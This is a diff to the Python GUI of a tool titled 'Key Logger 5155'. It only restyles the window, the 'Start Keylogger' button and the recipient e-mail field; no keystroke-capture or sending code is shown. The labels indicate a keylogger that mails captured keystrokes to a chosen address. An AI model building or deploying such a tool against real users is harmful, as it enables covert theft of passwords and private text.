@@ -195,8 +195,13 @@ def on_button_click():
195195set_appearance_mode ("dark" )
196196root = CTk () # Creating root window using customTkinter, it allows to change color of Title bar unlike the official tkinter
197197root .geometry ("800x600" )
198+ root .resizable (False , False )
198199root .protocol ("WM_DELETE_WINDOW" , on_closing )
199200
201+ # Main frame to hold all widgets and center them
202+ main_frame = CTkFrame (root , fg_color = "transparent" )
203+ main_frame .pack (expand = True )
204+
200205# Set initial button text
201206btnStr = StringVar ()
202207btnStr .set ("Start Keylogger" )
@@ -208,30 +213,32 @@ def on_button_click():
208213image = Image .open ('cracking.png' )
209214resize_image = image .resize ((300 , 300 ))
210215img = ImageTk .PhotoImage (resize_image )
211- icon = CTkLabel (root , image = img , text = "" )
216+ icon = CTkLabel (main_frame , image = img , text = "" )
212217icon .pack (pady = (20 , 0 ))
213218
214219# Set window title
215220root .title ("Key Logger 5155" )
216221
217222# Display title label
218- Title = CTkLabel (root , text = "Key Logger 5155" , font = ("Cascadia Code" , 50 , "bold" ), text_color = "green " )
223+ Title = CTkLabel (main_frame , text = "Key Logger 5155" , font = ("Cascadia Code" , 50 , "bold" ), text_color = "#00ff00 " )
219224Title .pack (pady = (10 , 20 ))
220225
221226# Frame for input widgets
222- InputFrame = CTkFrame (root , fg_color = "transparent" )
227+ InputFrame = CTkFrame (main_frame , fg_color = "transparent" )
223228InputFrame .pack (pady = 10 )
224229
225230# Widgets for email address entry
226231receiver_label = CTkLabel (InputFrame , text = "Recipient's E-mail Address : " , font = ("Cascadia Code" , 13 , "bold" ),
227- text_color = "green" )
228- receiver_entry = CTkEntry (InputFrame , width = 300 , font = ("Cascadia Code" , 13 , "bold" ))
232+ text_color = "#00ff00" )
233+ receiver_entry = CTkEntry (InputFrame , width = 300 , font = ("Cascadia Code" , 13 , "bold" ),
234+ placeholder_text = "Enter recipient's email..." , border_color = "#00ff00" , border_width = 2 )
229235receiver_entry .grid (row = 0 , column = 1 , padx = 10 )
230236receiver_label .grid (row = 0 , column = 0 )
231237
232238# Button to start/stop keylogger
233- button = CTkButton (root , textvariable = btnStr , command = on_button_click , width = 200 ,
234- font = ("Cascadia Code" , 13 , "bold" ), fg_color = "green" , hover_color = "#006400" )
239+ button = CTkButton (main_frame , textvariable = btnStr , command = on_button_click , width = 200 ,
240+ font = ("Cascadia Code" , 13 , "bold" ), fg_color = "#00ff00" , hover_color = "#008F11" ,
241+ text_color = "#000000" , corner_radius = 6 , border_width = 2 , border_color = "#000000" )
235242button .pack (pady = 20 )
236243
237244# Run the main event loop
0 commit comments